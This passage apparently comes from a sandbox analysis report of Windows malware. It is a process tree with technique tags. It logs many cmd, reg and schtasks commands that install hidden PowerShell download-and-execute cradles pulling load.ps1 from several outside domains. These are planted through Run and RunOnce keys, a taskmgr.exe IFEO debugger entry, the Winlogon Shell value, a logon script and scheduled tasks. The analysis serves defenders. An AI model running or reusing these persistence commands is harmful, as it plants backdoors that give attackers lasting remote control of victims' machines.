        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        PID:6008
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      PID:2964
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        • System Location Discovery: System Language Discovery
        PID:1836
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:548
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        PID:2848
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      PID:1068
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        PID:5664
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc onlogon /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:5564
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc onlogon /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:804
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
      • Executes a command shell one-liner
      PID:1116
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc minute /mo 5 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5504
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      PID:5768
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:4572
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
      2⤵
        PID:4172
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
          3⤵
          • Adds Run key to start application
          PID:4844
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
        2⤵
        • Executes a command shell one-liner
        PID:5096
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
          3⤵
          • Event Triggered Execution: Image File Execution Options Injection
          PID:3344
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:528
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
          3⤵
          • Modifies WinLogon for persistence
          PID:1704
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
        2⤵
        • Executes a command shell one-liner
        PID:5696
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
          3⤵
          • Registers new Windows logon scripts automatically executed at logon.
          • System Location Discovery: System Language Discovery
          PID:5368
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /sc onlogon /f
        2⤵
          PID:5236
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /sc onlogon /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5552
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /sc minute /mo 5 /f
          2⤵
            PID:1196
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /sc minute /mo 5 /f
              3⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:2660
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /f
            2⤵
            • Executes a command shell one-liner
            PID:4344
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /f
              3⤵
              • Adds Run key to start application
              PID:4960
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /f
            2⤵
            • Executes a command shell one-liner
            PID:2984
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /f
              3⤵
              • Adds Run key to start application
              PID:2004
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /f
            2⤵
              PID:2740
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /f
                3⤵
                • Event Triggered Execution: Image File Execution Options Injection
                PID:4516
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /f
              2⤵
              • Executes a command shell one-liner
              PID:5980
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /f
                3⤵
                • Modifies WinLogon for persistence
                PID:2148
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /f
              2⤵
              • System Location Discovery: System Language Discovery
              PID:1356
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /f
                3⤵
                • Registers new Windows logon scripts automatically executed at logon.
                PID:4444
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /sc onlogon /f
              2⤵
              • Executes a command shell one-liner
              PID:5484
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /sc onlogon /f
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5612
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /sc minute /mo 5 /f
              2⤵
              • Executes a command shell one-liner
              • System Location Discovery: System Language Discovery
              PID:5920
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')\"" /sc minute /mo 5 /f
                3⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:4988
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /f
              2⤵
              • System Location Discovery: System Language Discovery
              PID:804
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /f
                3⤵
                • Adds Run key to start application
                PID:4200
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /f
              2⤵
              • Executes a command shell one-liner
              PID:4860
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /f
                3⤵
                • Adds Run key to start application
                • System Location Discovery: System Language Discovery
                PID:3140
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /f
              2⤵
                PID:4248
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /f
                  3⤵
                  • Event Triggered Execution: Image File Execution Options Injection
                  • System Location Discovery: System Language Discovery
                  PID:2188
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /f
                2⤵
                • Executes a command shell one-liner
                PID:4708
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /f
                  3⤵
                  • Modifies WinLogon for persistence
                  PID:908
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /f
                2⤵
                • System Location Discovery: System Language Discovery
                PID:444
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /f
                  3⤵
                  • Registers new Windows logon scripts automatically executed at logon.
                  • System Location Discovery: System Language Discovery
                  PID:652
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /sc onlogon /f
                2⤵
                  PID:4840
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /sc onlogon /f
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:716
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /sc minute /mo 5 /f
                  2⤵
                  • Executes a command shell one-liner
                  PID:5764
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')\"" /sc minute /mo 5 /f
                    3⤵
                    • System Location Discovery: System Language Discovery
                    • Scheduled Task/Job: Scheduled Task
                    PID:4712
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:956
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
                    3⤵
                    • Adds Run key to start application
                    PID:2364
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
                  2⤵
                  • Executes a command shell one-liner
                  PID:4744
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
                    3⤵
                    • Adds Run key to start application
                    PID:2164
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
                  2⤵
                    PID:544
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
                      3⤵
                      • Event Triggered Execution: Image File Execution Options Injection
                      PID:792
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
                    2⤵
                    • Executes a command shell one-liner
                    PID:3380
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
                      3⤵
                      • Modifies WinLogon for persistence
                      PID:3576
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
                    2⤵
                    • Executes a command shell one-liner
                    PID:3840
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
                      3⤵
                      • Registers new Windows logon scripts automatically executed at logon.
                      PID:1748
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /sc onlogon /f
                    2⤵
                    • Executes a command shell one-liner
                    PID:2648
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /sc onlogon /f
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5000
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /sc minute /mo 5 /f
                    2⤵
                    • Executes a command shell one-liner
                    PID:2732
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /sc minute /mo 5 /f
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:1640
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
                    2⤵
                    • Executes a command shell one-liner
                    • System Location Discovery: System Language Discovery
                    PID:2516
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
                      3⤵
                      • Adds Run key to start application
                      PID:2356
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
                    2⤵
                    • Executes a command shell one-liner
                    • System Location Discovery: System Language Discovery
                    PID:2368
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
                      3⤵
                      • Adds Run key to start application
                      • System Location Discovery: System Language Discovery
                      PID:1780
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
                    2⤵
                    • Executes a command shell one-liner
                    • System Location Discovery: System Language Discovery
                    PID:1672
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
                      3⤵
                      • Event Triggered Execution: Image File Execution Options Injection
                      PID:6032
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:3852
                    • C:\Windows\SysWOW64\reg.exe
